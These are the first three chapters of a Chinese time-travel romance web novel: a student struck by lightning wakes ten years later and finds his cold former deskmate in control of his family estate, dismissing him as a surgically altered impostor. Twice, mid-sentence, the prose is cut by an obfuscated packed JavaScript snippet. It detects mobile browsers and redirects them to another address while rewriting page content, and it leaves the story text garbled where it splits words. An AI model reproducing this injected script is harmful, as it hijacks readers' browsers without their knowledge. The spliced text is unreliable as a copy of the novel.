《两条时间线的男朋友打起来了》 1. 第 1 章 A市第一高中 夜晚,蝉鸣连绵不绝。 突然,一只腕上系着金色小太阳手链的手冒出围墙顶端,攀住边缘。 “完美!” 凌衔星两步利落蹬上围墙,长腿悬空晃悠坐在墙顶。 前天翘晚自习被郁江倾那个高冷面瘫脸捉个正着,今天他解锁全新地图,就不信对方还能揪到他。 “区区小郁,这要还能被他捉到,我跟他姓——嘎?” 自信的话语在目光触及围墙下方静静站着的少年时戛然而止。 凌衔星下意识揉了揉眼睛,还以为是自己眼花了。 少年身形修长,分明是夏天,却将校服衬衫穿得规规整整,被许多学生吐槽能勒死人的扣子一直扣到脖颈最上面。 似乎是听到凌衔星的话,少年抬起头望过来。 微长额发落在他眉眼,发黑肤白,一张矜贵的脸,气质却比这会儿的月色更清冷。 郁江倾,A市第一高中知名学霸,常年蝉联年级第一,加上颜值高性格冷,是公认的高岭之花。 他还有一个身份,凌衔星的同桌。 两人从高一同桌到现在高三开学,就愣是没分开过。 目光跟对方在空中交错了片刻,凌衔星眨巴眼:“这位郁同学,你是小狗吗,我新换的路线,你都能追过来?” 郁江倾没什么表情,淡淡道:“下来。” 顿了顿,他又补了一句:“郁衔星。” 凌衔星乐了,“不就说了句小郁嘛,你好记仇啊。” 两人严格来说,其实并没什么过节。 纯粹是凌衔星性格比较皮,高一第一眼见到郁江倾这副高冷模样,忍不住想看看对方笑起来是什么样子。 于是他勾了一下郁江倾脖子,捏着嗓子说“哥哥你长得好俊俏呀。” 结果对方拿纸巾擦了半天的脖子。 满腔热情就换来冰凉的嫌弃。 从那以后,凌衔星跟人杠上了,有事没事就去调戏郁江倾,非要看看这朵高岭之花开花的小模样。 结果当然是失败的,他严重怀疑郁江倾是真的面瘫。 凌衔星手撑在墙顶,歪了歪头,笑眯眯的,两颗尖尖的虎牙探出唇瓣,“你笑一下我看看,我就下来好不好?” 郁江倾看着墙上的人,“不好。” “好冷淡啊同桌。”凌衔星从口袋里掏出一颗柠檬糖,“又是老宋让你来捉我?我请你吃糖,你放我一马呗。” “......你自己吃。” 凌衔星在墙顶撑了一下,姿势漂亮地翻身落地,衬衫下摆掀起一截清瘦的腰线。 把那颗柠檬糖丢进自己嘴里,一边不遮不掩地打量郁江倾。 凌衔星生得神清骨秀,少年气十足。 尤其是那双不同于常人的眼睛,眼尾微微向上挑,瞳眸清亮,色泽像极浅金琥珀,左边下眼睑还点了枚红痣。 是一张跟某位高岭之花不分上下的脸。 就是他这人总没个正形,眉眼大多数时候都带着笑意,一副见人就能撩几下的招摇模样。 “你过来点,我跟你商量件事。”凌衔星神秘兮兮勾勾手指。 见人不为所动,他又毫无包袱地拖长了语调道:“来嘛好同桌,郁同学?郁哥哥~” 最后一声落下,郁江倾眼睫颤了颤。 他沉默片刻,撩起薄薄的眼皮,面无表情走近少许。 下一刻,一只白皙的手扯上他扣得严密的校服领口。 好看的少年面孔陡然贴近,耍流氓一般朝着他吹了声宛转悠扬的口哨。 太阳手链轻轻晃动发出窸窣声响,呼吸间弥漫开清新的柠檬味。 “你!” 郁江倾僵硬,回过神来当即伸手要抓人。 但凌衔星已经一溜烟跑远了,只留下恶作剧得逞的得意笑声在耳边回荡。 “......” 郁江倾缓缓低眼,领口被扯得凌乱,扣子都开了一颗。 里面的皮肤被另一个人蹭过,正泛着不正常的热意。 少年突起的喉结滚了滚,呼吸略微粗重了几分,但随后又被压制下去。 片刻后,他摸向后背,那里被贴了一张胖乎乎的雪人贴纸,雪人的脑袋上还写了他的名字。 “......幼稚。” 修长的手指捏着贴纸,收进了口袋。 ....... 凌衔星巡视了一圈A高的大好河山,听着晚自习下课铃声响起,这才慢悠悠朝着宿舍的位置走去。 直到现在他想起来之前郁江倾那发黑的脸色都还鹅鹅鹅乐个不停。 高冷面瘫有洁癖,也就这种时候能有点不一样的表情了。 日常任务:调戏郁江倾 耶,完美完成。 “我天天这么调戏同桌,算不算校园霸凌啊,该不会遭雷劈吧?”凌衔星摸摸下巴。 “轰!” 突然一道雷声在天边响起。 “......什么鬼?” 话音刚落,天际响起一道更加震耳欲聋的惊雷,紫黑色的雷光贯穿天地。 凌衔星一激灵,头顶头发都翘起来一撮。 不知道是不是他的错觉,那雷声好像靠近了。 “轰!” “轰!轰!” 一声比一声响,雷光也越来越粗壮,将整片天空覆盖,活像是有人在渡劫飞升。 这么恐怖的场面,可偏偏周边路过的同学没有一个向天上看。 凌衔星心脏狂跳,冥冥中有种感觉,这雷好像是朝着他劈过来的。 想要往反方向跑,可是已经晚了。 随着一道将夜空都染成紫黑色的雷霆,惊雷正中头顶,麻痹感从心口蔓延至四肢百骸。 余光中似乎有个背着书包的熟悉的清冷身影走近,但很快他的视野彻底陷入了黑暗。 有一种强烈的时空割裂感笼罩在周身。 意识像是变成了什么橡皮泥,被看不见的东西反复揉捏拉扯。 最后一刻,凌衔星想得是: 校园霸凌只是我的玩笑。 而你,破雷,你开不起玩笑! ...... “你作业做完没?” “当然没有,得通宵奋战了。” “真该死啊,我寝室那个四眼哥们天天偷偷卷。” “......那什么,你的四眼哥们在你背后。” 耳边传来嘈杂的吵闹声,并不清晰,有些失真,就像是隔着一层屏障才传入耳中,模糊的意识无法辨析内容。 凌衔星缓缓睁开眼,伴随着的是剧烈的头疼,活像是被人在后脑勺狠狠敲了一闷棍,让他每一根神经都跟着抽搐。 他依稀记得自己是被雷劈了,那现在是被抢救回来了? 那么粗那么长的雷都能给他救回来,妙手回春啊大夫。 话说回来,怎么这么黑,伸手不见五指的,医院停电了? 等到疼痛散去,凌衔星用还有点发软的手臂勉强支起身,这一支,他感觉到了不对。 硬硬的,凉凉的,这根本不是病床。 身上的感觉也不对,凌衔星疑惑,摸了摸自己。 入手是光滑的皮肤,从头到脚光溜溜的,真正意义上的一.丝.不.挂。 不是,我衣服呢? 凌衔猛地蹦跶了起来,手碰到了类似布料的东西,下意识一拉。 “哗——” 窗帘拉开,月光照入室内,照亮了凌衔星懵逼的脸。 窗外,细雪纷纷扬扬落下,点缀在无垠夜色。 “......下雪了?” 现在不是夏天吗? 他环顾四周,发现这里根本不是什么医院,而是一间寝室。 为什么他被雷劈了以后会光溜溜躺在寝室地上? 这中间到底发生了多么曲折离奇的事情。 打开灯。 白光一下子把室内照得清清楚楚,有些刺眼,凌衔星眯了眯眼睛慢慢适应。 室内是熟悉的装饰跟摆件,两张床,一张空着一张铺了被子,书桌前面的墙上还贴了两张泛了黄的贴纸。 一张胖胖雪人贴纸,一张胖胖太阳贴纸。 确认无误,这里的确是他的寝室309。 就是寝室内有些灰尘,看上去已经一阵没住人了。 309原本是一间双人寝室,不过凌衔星不太喜欢跟别人一起住。 作为A市凌家的少爷,这点特权轻而易举,于是309就成为了他的单人寝室。 “嘶......”脑中突然传来一阵剧痛,一股子外来的信息往他脑子里面涌。 简直像有个壮汉提着钻头在天灵盖钻井,疼得凌衔眼前发黑。 好一会儿,他缓过来。 “十年......时间线......” 理清现状的那一刻,凌衔星一阵天旋地转,大脑因为荒唐的现实而发麻。 “不是......这合理吗?” “给我干哪来了?” 好消息:他硬抗天雷,没死也没残废,以后能刻墓志铭上面。 坏消息:脑中的信息告诉他,现在他正身处十年后的时间线,他被雷劈穿越了。 天塌了......原来调戏同桌真的会天打雷劈的。 不对不对,一定是打开的方式不对,重新打开,他就穿回去了。 凌衔星不停睁眼闭眼,眼睛都快抽筋了,眼前的场景都没有任何变化。 这招不行。 “雷来!”凌衔星又呵了一声。 无事发生。 “怎么感觉我像个傻逼......” 凌衔星被自己的脑残举动气笑了。 “阿嚏!”他猛地打了个喷嚏,余光突然瞥到窗户下方晚自习结束,正在往宿舍楼走的同学们。 连忙拉上窗帘。 差点忘了他现在还是光着的。 不行,先找衣服,总不能没被雷劈死,反倒冻死了。 凌衔星搓搓冻得有些发麻的脸颊,开始在衣柜里面翻衣服。 “幸好这寝室没有别人。” 虽然他也不知道为什么这么久了这寝室还维持着他住过的样子。 但这是好事,不然他现在高低要多一个不穿衣服闯进别人寝室的变态名号。 往外拽衣服的时候,他注意到自己的左手腕,上面还戴着太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438624|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阳手链。 “见了鬼了,连条裤子都不留给我,这个倒是跟来了。” 穿上衣服,凌衔星在寝室翻找,想看看“自己”有没有放些零钱之类的。 结果钱没找到,反倒在书桌的抽屉里面发现了一张报纸。 报纸边缘泛黄卷曲,摸起来已经硬化,上面显示的时间是2026年6月12日。 凌衔星本能地算了算日子,穿越前是2025年8月9日,那这张报纸的时间就是这条时间线的九年前,他高考的时间附近。 是谁把报纸放在这里的,未来的他自己吗? 第一页最大的标题映入眼底。 【凌氏家主凌衔星意外离世】 一瞬间,凌衔星僵愣在原地。 比得知穿越时更重的凉意顺着脊椎往上,爬到后脑勺。 思绪仿佛被冻结,耳边嗡嗡作响。 许久。 他瞳孔缓缓转动,向着标题下的内容看去。 内容没多复杂,概括来就是他在高考结束的后一天出去游玩,遭遇泥石流。 “我高考结束......死了?” “那凌家怎么办?” ...... 凌衔星恍恍惚惚走出309,脚步虚浮得像个孤魂野鬼。 “同学你没事吧,脸色好差,低血糖吗?”一个抱着数学题的男生路过,见凌衔星面色苍白,担忧询问道。 凌衔星似有似无晃了晃头。 那男生不知道这是个什么回答,随后注意到开了一条缝的309寝室门。 他被吓了一跳,“你进了309?!” 凌衔星耳边还有些嗡鸣声,不知道是因为死讯的冲击还是穿越的后遗症。 他没怎么听清男生说得话,只依稀听对方说309被什么神秘大佬给封了,不许任何人进,处罚很严重什么的。 他敷衍走了男生,头还晕得难受。 等他从这种失重晕眩感中缓过来,周围已经没人了,宿舍廊道一片昏暗,只剩下几盏小灯还亮着。 宿管大爷提着手电筒来巡楼,恰好看见他。 “同学你哪个寝室了,熄灯了,赶紧回去。” 回?回哪去? 他人都死了,凌家根本不会欢迎他,哪还有地方让他回。 凌衔星抬眼,看着那个陌生的大爷发愣。 大爷皱眉,“同学,你几寝室的?” “我......” 凌衔星缓缓找回思绪,大脑重新开始运转。 不对,他还是得回去。 他要知道,他死了以后,到底是谁执掌了凌家。 “诶诶诶同学,现在不许离开宿舍!” 宿管大爷看着这个男生疯狂朝楼下跑,急得大喊。 ...... 凌宅距离A高还是有些距离的,而且凌衔星这会儿身无分文,连个共享单车都骑不起,只能用两条腿。 等他狂奔到凌宅,估摸着都第二天凌晨了。一路不知道歇了多少次,气都喘不过来。 “还、还好,房子还在......” 可注意到灯亮着,凌衔星又心头一咯噔。 他死了,那他的遗产,包括这座本来在他名下的凌宅会到谁的手上其实已经很明显,他只是一时间不甘心承认。 继承者自然是——他的亲生父母。 想到这里,凌衔星比知道自己毕业暴毙的时候还难受。 凌衔星对他的亲生父母没有任何感情,或者说厌恶至极。 他从小走失,五年级的时候被爷爷——凌氏真正的掌权者找回来。 父母早早有了心爱的养子,将他当做想要抢夺养子宠爱的外来者。 回来没多久,爷爷离世了,留给他庞大的遗产。 两个无能的人更是联合其他亲戚百般算计,想要从他手中瓜分遗产。 凌衔星碍于各种因素,容忍那一家三口继续住在凌宅,但已经打算等高中毕业就立刻清洗蛀虫。 结果天降噩耗,他一毕业就死了,蛀虫可以狂欢了。 凌衔星站在大门口,咯吱咯吱咬牙,恨不得找根棍子冲进去跟他们极限一换三得了。 不行,冷静。 只要他活着,迟早能把凌家从那些无能的废物手里夺回来。 突然,身后传来汽车停下的声音。 凌宅大门随之缓缓打开。 凌衔星回头。 那是一辆银黑色的迈巴赫,看版型估计还是限量款,优雅又奢华。 拳头硬了,蛀虫花他的钱过这么潇洒! 躲已经来不及躲了,他整个身子都进了车灯照射范围。凌衔星只能看着车门打开,血压不断飙升。 可当下车的男人的面容映入眼中,他的怒气积攒进度值一瞬间卡壳。 眼前的男人肤色冷白,瞳眸漆黑异常,眉眼生得极为矜贵俊美。 就是神情太过淡漠,周身几乎有一种要把人凝结成冰的寒意,比飘扬而下的雪还冷。 让凌衔星愣神的不是对方的高颜值。 而是,这个人跟郁江倾长得几乎完全一样。 褪去了高中时期少年的青涩,彻底长开,压迫感十足。 2. 第 2 章 短短几秒时间内,凌衔星脑子里跑过好几个问题。 ——郁江倾为什么会出现在他家门口,还一副回家的样子? ——这个高冷面瘫十年后怎么更冷了,简直是个自走人形制冰机。 ——如果对方住在这里,那那些蛀虫呢? “郁江倾?”凌衔星探探脑袋,语气里不自觉带着点热切,毕竟这是他目前在十年后世界见到的唯一一个熟人。 话音落下,对方朝他看来。 被目光笼罩的那一刻,凌衔星后背微僵,有种瞬间被丢入南极的透心凉。 对方的眼尾弧度狭长,分明是一双很能招惹桃花的眼睛,偏偏只有凉薄,看人跟看路边的杂草没有任何区别。 他愣是没有办法从对方的眼神里面找出自己是一个人的痕迹。 “你是谁。”郁江倾开了口,语调冷得跟淬了冰一样,但也从侧面应下了身份。 凌衔星眨眼,试探着开口:“我说我是凌衔星你信吗?” 郁江倾指尖微动。 眼前的少年穿着有些凌乱的衣服,散漫而又张扬,那双眼睛哪怕在夜色下也明亮似骄阳。 与无数次出现在梦中的人一模一样。 有那么一瞬,郁江倾真的以为那个人回来了。但是随之而来的,是极致的厌恶。 这些年他不知道遇到了多少个整容成凌衔星样子的“替身”,有的是求财,有的是对手派来,想跟他玩一出美人计。 但他得承认,相比以前那些拙劣又恶心的模仿,眼前这个替身实在是演技精湛,精湛到能让他都产生片刻的晃神。 而且胆子也是最大的,其他人只是想要借着这张脸获利,这人却想冒名顶替。 凌衔星见郁江倾久久不说话,还以为对方吓到了。 不过想想也是,要是他在28岁的时候突然看见已经死了九年的郁江倾,也得吓一跳。 高低要怀疑一下是不是找他手牵手赴黄泉来了。 下一刻,淡漠的视线扫过,郁江倾垂眼看他,语气冷得刺骨:“劣质的伪造品。” 凌衔星:??? 啊? 伪造?伪造什么? 郁江倾不再搭理他,转身向着凌宅内走去。 凌衔星下意识想要跟上去,“你等下,我也要——”进去。 一个身形高大的男人将凌衔星拦下,是郁江倾的手下,兼顾司机跟保镖。 见凌衔星还想往里凑,杨安易牢牢按住他的肩膀。 “行了,没见过你这么找死的,先生今天出乎意料没说要收拾你,你还上赶着啊。” “什么意思,收拾什么?”凌衔星今天实在是疑惑一个接一个,脑子完全不够用了。 他抬眼看向人高马大的杨安易,“这房子不是凌衔星——”的吗。 “嘘!你是真找死啊,还敢提那位!”杨安易眼睛都瞪大了,从没见过这么愣头的。 凌衔星更茫然了,头顶都开始跳问号。 我在这条时间线真的是死了九年吗,怎么感觉更像是进化成了什么不可名状、不能直视,连名字都不能提的禁忌物种。 杨安易严肃警告:“别再骚扰先生了,尤其是顶着那个人的脸,后果不是你能承担的。” 他打量着凌衔星的脸,心底暗暗感叹到底是哪家整容医院技术这么高超,能把瞳色都弄得这么自然漂亮。 杨安易见过凌衔星的照片,眼前这个“替身”真就跟照片里面一模一样,神态都没差。 有这种演技,去进军娱乐圈啊,何必自甘堕落来当替身呢。 见对方要走,凌衔星连忙手脚并用扒拉住这唯一的活口:“帅哥你先别走,就当日行一善回答我几个问题呗。” “你别想了,我忠于先生,绝对不会背叛。” “不背叛不背叛,我加入你们嘛~” “......” ...... 凌衔星凌乱站在街边,只觉得此处应有“北风那个吹,雪花那个飘”bgm。 他活了接近十八年接收的信息量都没刚才短短几段对话包含得多。 好消息:蛀虫们因为得罪了郁江倾,早就被郁江倾打包送进牢里了。 坏消息:遗产被郁江倾吞并,对方还占了他的寝室跟凌宅坟头蹦迪,书桌里的报纸估计也是对方放的。 离谱消息:有很多人整容成他的样子去对郁江倾骗财骗色,所以在郁江倾眼里他就是个整容怪。 这是人类的思维吗? 那些人真的知道郁江倾很烦他吗?整容成他,这么想不开呢。 凌衔星顿了顿,有一点想不通。 郁江倾家庭的具体情况他不清楚,但贫困是真的,九年前才刚毕业,哪来的那么多钱做这些事? 他这凌宅起码也是十位数诶。 ...... 在街边慢慢悠悠晃悠了一会儿,细碎雪花落上发烫的脑壳,起到了极好的镇定作用。 冷静下来后,凌衔星长叹一口气,接受了全新版现实。 比起被那些蛀虫毁了爷爷毕生的心血,他宁愿让产业在郁江倾手中更上一层楼。 就是他现在好像一无所有了。 凌衔星从没想过自己有朝一日会沦为黑户。 好好一个繁荣的A市,放眼望去连桥洞都不属于他——因为已经有流浪汉在那里了。 天杀的,他混的还不如流浪汉。 都说有困难找警察叔叔,但他这情况要是去找警察叔叔,叔叔反手就把他送精神病院。 蔫哒哒抬头看了眼还在飘落小雪的夜空,心头有些茫然。 等到回过神来,凌衔星发现自己不知不觉又走到了凌宅附近......不对,现在应该叫郁宅了。 古有大禹三过家门而不入,今有他凌衔星二过家门没法入。 周遭很安静很空旷,豪门大宅一般都是远离中心。 凌衔星站在大门外,透过栏杆向里面看去。 所有的布局都跟十年前一样,让他有一种其实并没穿越的错觉。 是因为保持原样更有坟头蹦迪的快.感? 他抓着栏杆努力踮脚朝着更里面望去,像个偷窥的变态。 突然,游移的目光似乎跟什么东西对上了片刻。 凌衔星一僵,缓缓将目光沿着原路游移回去,一双漆黑的眸子正冷冷看着他。 郁江倾不知道是什么时候站在那里的,也不知道站了多久。 “我去,男鬼!”凌衔星惊恐地往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438625|169324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后跳。 郁江倾:“......” 大门缓缓向两边打开,郁江倾走了出来。 对方人高腿也长,几步就拉近了距离。 在这种随时可能要被嘎掉的氛围里,凌衔星那不争气的跳脱脑子还是忍不住想到: 这家伙吃什么长这么高的? “那个......”凌衔星干笑几声,“你也睡不着吗?” 郁江倾没有说话,凌衔星动了动,发现对方的目光一直落在他的左手上。 他左手上有什么吗? 凌衔星低头一看,喔,是有情有义跟着他一起穿越来的小太阳。 这条手链好像是他高一的时候买的,忘记在哪买的了,就是觉得很合眼缘,所以一直戴着。 试探着晃了晃左手,郁江倾的目光依旧跟着。 “嘬嘬嘬。”凌衔星下意识边晃手边逗道。 郁江倾:“......” 周遭气氛陡然降至冰点。 “......”凌衔星目移,强忍住想要上扬的嘴角,“抱歉,条件反射。” 郁江倾走近一步,凌衔星猛地后退一步。郁江倾又走近,他又后退,两人活像是在大门口跳深夜探戈。 “你是谁。” 冰凉的声音打断了凌衔星越来越熟练的舞步。 他抬眼,隔着浓重夜色恰好望进郁江倾的眼眸。依旧是那么漆黑不见底。 可不知道是不是错觉,里面似乎多了他的轮廓。 怎么又问这个,不是都把他定位成骗钱的劣质整容怪了吗。 穿越这种事情太过荒谬,要不是亲身经历,他也是绝对不会相信的。 可是无家可归的窘迫又让凌衔星想跟郁江倾相认。 家就在眼前,却无法回去,这种感觉实在是不好受。 就算对方烦他,也不至于真的就一点不顾同桌情吧。 在这个陌生的十年后的世界,目前也就郁江倾一个熟人了。 凌衔星还在头脑风暴紧急措辞,身前却落下阴影。 郁江倾一把扣住凌衔星的左手腕,带着逼迫意味地向上一提。 传来的不是皮肤相贴的感触,而是冰凉的黑色皮质感。 凌衔星愣愣抬眼,才发现郁江倾两只手上都戴了手套。 对方从高中就有洁癖,现在似乎变得更加严重了。 雪花飘落在对方发丝眉梢,居然停留了片刻,就好像人的血也冷得与雪一般。 腕上的力道很大,他下意识抽了抽手,系着的太阳饰件就轻轻晃动起来。 凌衔星目光顺着黑色手套向下,视线突然顿住。 郁江倾的左手腕上竟是也戴了一条太阳手链,不管从哪个角度看,这条手链都像是他手上这条的十年后版本。 凌衔星当时买到这手链之后干的第一件事就是咬了一口纯金的太阳。 而郁江倾手腕上那枚跟他手腕上这枚,上面带着如出一辙的牙印。 郁江倾的目光也落在牙印上,他愈发死死攥住凌衔星的手腕。 “说话。” 凌衔星深吸一口气,“我说了你会信吗?” “说。” “我真的是凌衔星,但我是穿越过来的。” 3. 第 3 章 话音落下,凌衔星凭借跟郁江倾两年的同桌经验,精准从对方眼中捕捉到了讥讽。 像是幻想破碎,陡然清醒一般。 郁江倾松开了他的手腕,缓缓倒退两步拉开距离。 夜色下对方的神情晦暗,挺拔修长的身形这会儿看上去竟是有点颓败。 郁江倾垂着眼,语调没有什么波动,只是纯粹的冰凉,“为了骗钱,连这种理由都编出来了。” 凌衔星咬牙,“这样,你去给我验dna,我跟凌德诚还有魏凝思是亲生的。” “谁派你来的。”郁江倾似笑非笑,“消息真灵通,那些人刚死,你就凑上来了。” “死了?!” 凌衔星眼睛瞪大了。 你小子这么狠?! 他可不信什么意外,包是那些不知好歹的废物惹到郁江倾,被制裁了。 “那、那远点的亲戚也能验......” “都死了。” “......” 你搁这诛我九族呢? 这下凌衔星真的没辙了,跟他有血缘关系的全被郁江倾阎王点卯了,再没人能证明他的身份。 可恶啊,你们就不能等给我证明完身份再死吗! “那要不你问我点事情?”凌衔星眨巴眼,比划了个心连心的小手势,“就,我们之间的小秘密?” “比如我往你后背贴雪人,戳你脸想给你扒拉个笑脸,往你饭盘里面夹鸡腿之类的。” “或者是你精准定位我的捕捉技术什么的。” 说着说着,凌衔星声音轻了下去,他发现眼前的人神色有些不太对。 ... 郁江倾闭了闭眼,记忆恍惚间回到高中。 很多细节都模糊了,只有那双灿若骄阳的眼眸,在岁月中一日比一日鲜活。 他一直都想不通,像他这样的人,为什么还有人愿意锲而不舍地靠近。 就像是永远不会被熄灭的太阳,执拗地将光芒洒进冰层。 但他没能问出口,也再没机会询问。 总有人以为只要复刻行为外貌,就能取代对方。 郁江倾神情阴沉,语调冷得要结冰,“你也配。” 说罢,他拂袖离去,不再搭理凌衔星。 凌衔星看着对方的背影,回过神,提高了音量,“郁江倾,你要是真的一点都不相信我,还会跟我说这么多话?” “我就是凌衔星,如假包换!” 可能有点自负,但凌衔星觉得他还是很懂郁江倾的。 对于完全不在意的人,郁江倾从来连一个眼神都多余给予。 他一开始去招惹郁江倾,对方也是懒得理他,纯把他当空气。 还是后来招惹多了,对方烦他了,反倒不把他当空气了。 郁江倾步子顿了顿。 但他什么都没说,也没转头,片刻后又接着迈步。 大门关上,将里外隔绝。 凌衔星撇撇嘴,小声嘀咕:“高中是个雪人,现在是个冰山。” 也不知道是经历了什么,分明有权有势走上了人生巅峰,结果还一副我一个人孤立全世界的样子。 ...... 凌宅的住所分为两个区域 南边区域是主人的居所,北区则是划分给手下们作为居住与训练的场地。 郁江倾不喜他人进入南区,偌大一座别墅就连一个管家都没有,除了偶尔让保洁打扫,南区里面永远就只有他一个人。 北区。 “先生。”杨安易恭敬唤了一声。 “他在做什么?” “坐在门口没走,也没做别的。” 杨安易调出了门口的监控,画面中,一个人就这么靠在门口的墙上。 屈腿坐着,执拗的气质几乎要透过屏幕溢出来,一副蹲不到郁江倾就不走的样子。 杨安易心情有点复杂。 从来没见过这么头铁的替身,是真不怕先生动怒啊。 “让罗学去调查。” 杨安易惊讶,但立刻应道:“是。” 杨安易离开了,书房内再无旁人。 郁江倾自嘲般垂下眼。 理智告诉他,那个人早就不在了。 残缺尸体是他一点点拼凑的,墓碑是他一字字刻的,全部的过往被他封存,此后所有都只能是图谋不轨的骗子。 可疯狂跳动的心脏却在叫嚣着,就是这个人。 的确是疯了。 在那片死气沉沉的山林,他从泥泞废墟中刨出那条手链的时候,就已经疯了。 是异想天开也好,是更加高明的骗局也罢,他会弄清楚的。 雪越下越大,有几片挂在睫毛上,让凌衔星的视野有些模糊。 这里没有遮挡物,所有雪花都是直接落在他身上。 “小说里面主角穿越不是绑定系统就是穿成富二代,怎么到我这里就变成无家可归了。” 没衣服穿,没钱,房子变成了同桌的。 凌衔星又开始觉得自己是调戏郁江倾遭天谴了。 “饿死了,等我穿回去,一定要大吃特吃。” 凌衔星没敢去想,如果他穿不回去了怎么办。 他倒不是怕自己在这十年后活得差,他是怕原本的时间线没了他,爷爷留给他的一切真的要被糟蹋了。 这条时间线他好歹还活到了毕业,而现在他可是高三就失踪了。 “一定能回去的......” 半晌,凌衔星缓缓支起身,拍了拍身上的雪花,原地蹦了几下,缓解一下关节的僵硬。 先找个地方躲躲雪,总不能真在这大门口当冰雕了。 白天先去找个临时工什么的,好歹混口饭吃。 太惨了,真的太惨了,凌衔星为自己掬了把泪。 这什么都市求生纪录片啊。 想到这里,凌衔星回头找到这么多年没变位置的监控,恶狠狠做了个鬼脸。 转身离开的凌衔星完全没发现,身后多了个尾巴。 ...... 一夜很快过去,天亮的时候雪已经停了。 街边有不少的早餐店,香味跟着热气一道飘出来。 一个包子铺的大婶见凌衔星往她这边看,就招呼了一声。 凌衔星挪近几步,馋得不停咽口水。 只可惜囊中羞涩,刚想离开又想到什么,试探着道:“那个姐姐,你看,我给你打打下手,你送我两个包子可以吗?” 大婶被这一声姐姐喊得笑了起来,她看凌衔星年纪轻轻的样子,问道:“没带钱?” “嗯呐。” “那行,来。” 大婶也不是真缺下手,就是看凌衔星眉眼弯弯的又生得俊俏,看了就喜欢。 两个包子算什么事。 “谢谢姐姐!” “我也有个儿子,比你大点,那混小子就一点不会说话,一开口就讨骂,要是有你一半懂事就好了。” “来,尝尝这大肉包子,吃饱了才有力气。” 凌衔星接过热乎乎的包子,感动地咬了一口,“好好吃!真羡慕姐姐的儿子,每天都能吃到这么好吃的包子,还有一个这么温柔美丽的妈妈。” “哈哈哈你这孩子嘴巴真甜,来来来,再喝罐牛奶长身体的。” 大婶又好奇问了句:“你高中吗,爸妈去上班了?” 凌衔星吃得头也不抬,“我刚高三,我父母已经离世了。” 他也没骗人,可不就是死了,郁江倾点杀的。 这话一出,大婶沉默许久,这才注意到凌衔星身上过时老旧的衣服,像是很多年前的。 最后怜爱的给人加了好几个大包子,“吃,多吃点,吃大口的。” 集团总部,总裁办。 “先生。” 杨安易站在办公桌前,神色有点诡异。 郁江倾抬眼,“说。” “那位先生,离开大宅后找了个地方躲雪,现在正在包子店蹭吃蹭......打工。” 杨安易绘声绘色给郁江倾描述了一下凌衔星混饭吃的全过程。 总结下来就是,爹妈全丢,嘴甜卖萌。 郁江倾:“......” “叩叩。”门被敲响,走进来一个二十出头的年轻男人,戴着单边耳机,手上捧着一台便携电脑。 罗学将电脑打开,放到郁江倾面前。 “抱歉先生,我无能,查不到他的过往资料。” 郁江倾眸色微动,沉沉问:“全部空白?” 罗学面露愧色,“是的,他就像是凭空出现的一样,完全没有过往生活留下的痕迹。” 这个调查结果就只有两种可能。 要么是真的就一片空白。 要么就是背后有人将对方的一切痕迹抹去,想要打造一个“真正”的“凌衔星”。 前一种不可能,那就只能是后者。 想到这里,罗学有点心惊。 他已经是计算机领域最顶尖的那一批人才了,到底是什么样的人能让他连一点蛛丝马迹都查不出来。 郁江倾:“能查到的最早记录在哪?” 罗学立刻调出他通宵唯一排查出来的资料:“A高,309寝室,从廊道的监控甄别到了踪迹。” “但我只查到他离开309寝室的视频,却查不到他是什么时候进去的,明明监控没有被剪辑过的痕迹。” 郁江倾看着监控视频不语,杨安易跟罗学识趣地离开总裁办。 门外,罗学再也控制不住自己的吐槽欲。 “要不是偷偷去亲眼看了一下真人,我都不敢相信,我嘞个奇迹换脸术啊,这跟从照片里面抠出来的有什么区别?” 杨安易挠挠头,“你真的一点都查不到?” “什么话,你这什么话?!”罗学瞪了杨安易一眼,“虽然我平时不着调,但我对先生是绝对忠心的!” “没这个意思,我就是惊讶而已。” 两人沉默片刻,又同时叹了口气。 他们这些亲信最是清楚,那个叫做凌衔星的少年人在先生心中的位置究竟有多高。 那可是死去的白月光,含金量懂得都懂。 他们以前一直都很放心,就算来再多替身,先生也是不可能沦陷的。 直到这个人出现。 克隆一样的整容技术,还有惟妙惟肖的神态,昨晚对着监控做的那个鬼脸可以说是跟照片一模一样。 而先生也一反以往见了替身直接‘诛九族’的常态,居然开始花心思调查试探。 这就让他们一众兄弟很是担心了。 果然年少时的求而不得才是真正的美人计啊。 “你觉得先生会找替身吗?”罗学问道。 杨安易面不改色,“先生自有决断,我们不可妄自揣测。” “也是,行了,先生还有吩咐,我先去忙了。”罗学摆摆手。 下午的时候,郁江倾去了一趟A高。 视频中跟凌衔星搭话的那个男生被揪过来,跟个小鸡仔一样战战兢兢站在郁江倾面前。 “我昨晚回寝室,就看到他从309出来,我看他脸色很差,就去问了一下他是不是哪里不舒服。” 男生看着面无表情的郁江倾,紧张到后背冒汗。 呜呜呜妈妈救我...... 郁江倾低眼,“继续说。” “就、就没有了啊......我跟他说309不能进的,他好像都没听我说话,很恍惚的样子,一直站在走廊上面不动。” 郁江倾没再问,进了309。 杨安易对男生道了谢,付了些报酬,就让人离开了,他自己守在309外面。 309内。 有明显的翻动痕迹,郁江倾打开衣柜,里面的衣服少了。 在打开书桌抽屉,他那年放在里面的报纸也展开过,边缘碎裂,似乎经受过大力攥握。 